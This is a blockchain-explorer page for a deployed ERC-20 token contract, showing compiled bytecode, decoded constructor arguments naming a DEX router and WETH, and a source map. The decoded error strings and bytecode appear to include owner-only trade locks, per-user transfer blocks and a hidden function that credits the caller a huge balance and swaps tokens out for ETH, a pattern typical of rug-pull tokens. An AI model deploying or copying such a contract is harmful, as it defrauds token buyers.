f1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461118b90612eb3565b80601f01602080910402602001604051908101604052809291908181526020018280546111b790612eb3565b80156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050505050905090565b6000600d60009054906101000a900460ff16905090565b60008033905060006112378286611399565b90508381101561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390613348565b60405180910390fd5b6112898286868403611ad5565b60019250505092915050565b6000803390506112a6818585611d9c565b600191505092915050565b6112dd33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600d60006101000a81548160ff02191690831515021790555050565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461135957600161135c565b60005b9050919050565b61138f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6113976128b5565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114c833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60006114d330610ca3565b90506000816dffffffffffffffffffffffffffff80166114f39190613368565b90506114fd6128b5565b61150f3061150a336110d6565b611295565b5061154d30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611ad5565b6060600267ffffffffffffffff81111561156a5761156961339c565b5b6040519080825280602002602001820160405280156115985781602001602082028036833780820191505090505b50905030816000815181106115b0576115af6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167b9190613217565b8160018151811061168f5761168e6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b04261171f9190612f13565b6040518663ffffffff1660e01b815260040161173f9594939291906134b8565b6000604051808303816000875af115801561175e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611787919061362b565b5050505050565b6117ba33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61182a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118c15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119939190613217565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016119cd929190613674565b602060405180830381865afa1580156119ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0e9190613217565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611a5a61277a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac09061370f565b60405180910390fd5b611ad2816127f1565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b906137a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa90613833565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c919190612c53565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d03906138c5565b60405180910390fd5b5050565b6000611d1c8484611399565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611d965781811015611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90613931565b60405180910390fd5b611d958484848403611ad5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e02906139c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190613a55565b60405180910390fd5b611e83836112fa565b15611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba90613ac1565b60405180910390fd5b611ece83838361291d565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613b53565b60405180910390fd5b600d60009054906101000a900460ff16156120a657611f7384612922565b1561200957601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90613be5565b60405180910390fd5b6120a5565b61201283612922565b156120a457601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a90613be5565b60405180910390fd5b5b5b5b6120af84610ff1565b1580156120c257506120c083610ff1565b155b1561265e576120d084612922565b1561230a5760006120e383600b546129d4565b905082826120f19190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836121409190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461218e9190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866121f09190613368565b6040516121fd9190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122769190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122fc9190612c53565b60405180910390a350612659565b61231383612922565b1561254d57600061232683600c546129d4565b905082826123349190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836123839190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123d19190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866124339190613368565b6040516124409190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124b99190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161253f9190612c53565b60405180910390a350612658565b81816125599190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125eb9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161264f9190612c53565b60405180910390a35b5b612769565b818161266a9190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126fc9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127609190612c53565b60405180910390a35b6127748484846129f6565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612799611153565b73ffffffffffffffffffffffffffffffffffffffff16146127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e690613c51565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129149190612f13565b92505081905550565b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129cd5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129e49190613c71565b6129ee9190613ce2565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a35578082015181840152602081019050612a1a565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a5d826129fb565b612a678185612a06565b9350612a77818560208601612a17565b612a8081612a41565b840191505092915050565b60006020820190508181036000830152612aa58184612a52565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612aec82612ac1565b9050919050565b612afc81612ae1565b8114612b0757600080fd5b50565b600081359050612b1981612af3565b92915050565b6000819050919050565b612b3281612b1f565b8114612b3d57600080fd5b50565b600081359050612b4f81612b29565b92915050565b60008060408385031215612b6c57612b6b612ab7565b5b6000612b7a85828601612b0a565b9250506020612b8b85828601612b40565b9150509250929050565b60008115159050919050565b612baa81612b95565b82525050565b6000602082019050612bc56000830184612ba1565b92915050565b600060ff82169050919050565b612be181612bcb565b8114612bec57600080fd5b50565b600081359050612bfe81612bd8565b92915050565b60008060408385031215612c1b57612c1a612ab7565b5b6000612c2985828601612b0a565b9250506020612c3a85828601612bef565b9150509250929050565b612c4d81612b1f565b82525050565b6000602082019050612c686000830184612c44565b92915050565b612c7781612b95565b8114612c8257600080fd5b50565b600081359050612c9481612c6e565b92915050565b60008060408385031215612cb157612cb0612ab7565b5b6000612cbf85828601612b0a565b9250506020612cd085828601612c85565b9150509250929050565b600080600060608486031215612cf357612cf2612ab7565b5b6000612d0186828701612b0a565b9350506020612d1286828701612b0a565b9250506040612d2386828701612b40565b9150509250925092565b6000604082019050612d426000830185612c44565b612d4f6020830184612c44565b9392505050565b612d5f81612bcb565b82525050565b6000602082019050612d7a6000830184612d56565b92915050565b600060208284031215612d9657612d95612ab7565b5b6000612da484828501612b0a565b91505092915050565b60008060408385031215612dc457612dc3612ab7565b5b6000612dd285828601612b40565b9250506020612de385828601612b40565b9150509250929050565b612df681612ae1565b82525050565b6000602082019050612e116000830184612ded565b92915050565b600060208284031215612e2d57612e2c612ab7565b5b6000612e3b84828501612c85565b91505092915050565b60008060408385031215612e5b57612e5a612ab7565b5b6000612e6985828601612b0a565b9250506020612e7a85828601612b0a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ecb57607f821691505b602082108103612ede57612edd612e84565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1e82612b1f565b9150612f2983612b1f565b9250828201905080821115612f4157612f40612ee4565b5b92915050565b6000819050919050565b6000819050919050565b6000612f76612f71612f6c84612f47565b612f51565b612b1f565b9050919050565b612f8681612f5b565b82525050565b600060c082019050612fa16000830189612ded565b612fae6020830188612c44565b612fbb6040830187612f7d565b612fc86060830186612f7d565b612fd56080830185612ded565b612fe260a0830184612c44565b979650505050505050565b600081519050612ffc81612b29565b92915050565b60008060006060848603121561301b5761301a612ab7565b5b600061302986828701612fed565b935050602061303a86828701612fed565b925050604061304b86828701612fed565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b600061308b601783612a06565b915061309682613055565b602082019050919050565b600060208201905081810360008301526130ba8161307e565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130f7601d83612a06565b9150613102826130c1565b602082019050919050565b60006020820190508181036000830152613126816130ea565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6131508161312d565b811461315b57600080fd5b50565b60008151905061316d81613147565b92915050565b600063ffffffff82169050919050565b61318c81613173565b811461319757600080fd5b50565b6000815190506131a981613183565b92915050565b6000806000606084860312156131c8576131c7612ab7565b5b60006131d68682870161315e565b93505060206131e78682870161315e565b92505060406131f88682870161319a565b9150509250925092565b60008151905061321181612af3565b92915050565b60006020828403121561322d5761322c612ab7565b5b600061323b84828501613202565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006132a0602483612a06565b91506132ab82613244565b604082019050919050565b600060208201905081810360008301526132cf81613293565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613332602583612a06565b915061333d826132d6565b604082019050919050565b6000602082019050818103600083015261336181613325565b9050919050565b600061337382612b1f565b915061337e83612b1f565b925082820390508181111561339657613395612ee4565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61342f81612ae1565b82525050565b60006134418383613426565b60208301905092915050565b6000602082019050919050565b6000613465826133fa565b61346f8185613405565b935061347a83613416565b8060005b838110156134ab5781516134928882613435565b975061349d8361344d565b92505060018101905061347e565b5085935050505092915050565b600060a0820190506134cd6000830188612c44565b6134da6020830187612f7d565b81810360408301526134ec818661345a565b90506134fb6060830185612ded565b6135086080830184612c44565b9695505050505050565b600080fd5b61352082612a41565b810181811067ffffffffffffffff8211171561353f5761353e61339c565b5b80604052505050565b6000613552612aad565b905061355e8282613517565b919050565b600067ffffffffffffffff82111561357e5761357d61339c565b5b602082029050602081019050919050565b600080fd5b60006135a76135a284613563565b613548565b905080838252602082019050602084028301858111156135ca576135c961358f565b5b835b818110156135f357806135df8882612fed565b8452602084019350506020810190506135cc565b5050509392505050565b600082601f83011261361257613611613512565b5b8151613622848260208601613594565b91505092915050565b60006020828403121561364157613640612ab7565b5b600082015167ffffffffffffffff81111561365f5761365e612abc565b5b61366b848285016135fd565b91505092915050565b60006040820190506136896000830185612ded565b6136966020830184612ded565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136f9602683612a06565b91506137048261369d565b604082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061378b602483612a06565b91506137968261372f565b604082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061381d602283612a06565b9150613828826137c1565b604082019050919050565b6000602082019050818103600083015261384c81613810565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006138af602183612a06565b91506138ba82613853565b604082019050919050565b600060208201905081810360008301526138de816138a2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061391b601d83612a06565b9150613926826138e5565b602082019050919050565b6000602082019050818103600083015261394a8161390e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139ad602583612a06565b91506139b882613951565b604082019050919050565b600060208201905081810360008301526139dc816139a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a3f602383612a06565b9150613a4a826139e3565b604082019050919050565b60006020820190508181036000830152613a6e81613a32565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b6000613aab602083612a06565b9150613ab682613a75565b602082019050919050565b60006020820190508181036000830152613ada81613a9e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b3d602683612a06565b9150613b4882613ae1565b604082019050919050565b60006020820190508181036000830152613b6c81613b30565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bcf602283612a06565b9150613bda82613b73565b604082019050919050565b60006020820190508181036000830152613bfe81613bc2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c3b602083612a06565b9150613c4682613c05565b602082019050919050565b60006020820190508181036000830152613c6a81613c2e565b9050919050565b6000613c7c82612b1f565b9150613c8783612b1f565b9250828202613c9581612b1f565b91508282048414831517613cac57613cab612ee4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ced82612b1f565b9150613cf883612b1f565b925082613d0857613d07613cb3565b5b82820490509291505056fea2646970667358221220b57ed3ffff9ee374bcda0249c8a1d673a17dd7742bbf28f9229131f7158e05c864736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : pairTokenAddress (address): 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2


Deployed Bytecode Sourcemap

3134:12761:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4428:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5338:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12116:462;;;:::i;:::-;;13286:306;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4729:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15603:287;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5545:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15066:141;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;4630:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11604:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5846:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14890:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14333:265;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14207:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14606:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4845:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;594:103;;;;;;;;;;;;;:::i;:::-;;13783:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;361:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4527:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15215:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6090:434;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4980:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15449:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13145:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12001:107;;;;;;;;;;;;;:::i;:::-;;5179:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13749:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15312:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10883:712;;;;;;;;;;;;;:::i;:::-;;13600:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12611:443;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;705:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4428:91;4473:13;4506:5;4499:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4428:91;:::o;5338:199::-;5421:4;5438:13;5454:10;5438:26;;5475:32;5484:5;5491:7;5500:6;5475:8;:32::i;:::-;5525:4;5518:11;;;5338:199;;;;:::o;12116:462::-;12166:44;12190:10;12202:7;;;;;;;;;;;12166:23;:44::i;:::-;12221:46;12238:4;12245:21;12255:10;12245:9;:21::i;:::-;12221:8;:46::i;:::-;;12278:67;12295:4;12310:7;;;;;;;;;;;12320:24;12338:4;12320:9;:24::i;:::-;12278:8;:67::i;:::-;12356:7;;;;;;;;;;;:23;;;12387:9;12421:4;12441:24;12459:4;12441:9;:24::i;:::-;12480:1;12496;12512:10;12555:4;12537:15;:22;;;;:::i;:::-;12356:214;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12116:462::o;13286:306::-;13361:44;13385:10;13397:7;;;;;;;;;;;13361:23;:44::i;:::-;13434:1;13424:7;:11;;;13416:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;13493:11;:18;13505:5;13493:18;;;;;;;;;;;;;;;;;;;;;;;;;13482:29;;:7;:29;;;13474:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13577:7;13556:11;:18;13568:5;13556:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13286:306;;:::o;4729:108::-;4790:7;4817:12;;4810:19;;4729:108;:::o;15603:287::-;15697:44;15721:10;15733:7;;;;;;;;;;;15697:23;:44::i;:::-;15792:7;15760:39;;:21;:28;15782:5;15760:28;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;15752:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;15875:7;15844:21;:28;15866:5;15844:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;15603:287;;:::o;5545:293::-;5676:4;5693:15;5711:10;5693:28;;5732:38;5748:4;5754:7;5763:6;5732:15;:38::i;:::-;5781:27;5791:4;5797:2;5801:6;5781:9;:27::i;:::-;5826:4;5819:11;;;5545:293;;;;;:::o;15066:141::-;15117:21;15140:22;15183:6;;15191:7;;15175:24;;;;15066:141;;:::o;4630:91::-;4679:5;4704:9;;;;;;;;;;;4697:16;;4630:91;:::o;11604:289::-;11669:7;11690:16;11708;11729:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11689:59;;;;;11759:24;11805:5;11787:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;11786:65;;11842:8;11834:17;;11786:65;;;11822:8;11814:17;;11786:65;11759:92;;11869:16;11862:23;;;;;11604:289;;;:::o;5846:236::-;5934:4;5951:13;5967:10;5951:26;;5988:64;5997:5;6004:7;6041:10;6013:25;6023:5;6030:7;6013:9;:25::i;:::-;:38;;;;:::i;:::-;5988:8;:64::i;:::-;6070:4;6063:11;;;5846:236;;;;:::o;14890:168::-;14964:44;14988:10;15000:7;;;;;;;;;;;14964:23;:44::i;:::-;15034:16;15019:12;;:31;;;;;;;;;;;;;;;;;;14890:168;:::o;14333:265::-;14417:44;14441:10;14453:7;;;;;;;;;;;14417:23;:44::i;:::-;14506:7;14480:33;;:15;:22;14496:5;14480:22;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;14472:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;14583:7;14558:15;:22;14574:5;14558:22;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;14333:265;;:::o;14207:117::-;14270:4;14294:15;:22;14310:5;14294:22;;;;;;;;;;;;;;;;;;;;;;;;;14287:29;;14207:117;;;:::o;14606:276::-;14681:44;14705:10;14717:7;;;;;;;;;;;14681:23;:44::i;:::-;14755:3;14744:7;:14;;:33;;;;;14774:3;14762:8;:15;;14744:33;14736:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;14838:7;14829:6;:16;;;;14866:8;14856:7;:18;;;;14606:276;;:::o;4845:127::-;4919:7;4946:9;:18;4956:7;4946:18;;;;;;;;;;;;;;;;4939:25;;4845:127;;;:::o;594:103::-;320:13;:11;:13::i;:::-;659:30:::1;686:1;659:18;:30::i;:::-;594:103::o:0;13783:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;361:87::-;407:7;434:6;;;;;;;;;;;427:13;;361:87;:::o;4527:95::-;4574:13;4607:7;4600:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4527:95;:::o;15215:89::-;15261:4;15285:11;;;;;;;;;;;15278:18;;15215:89;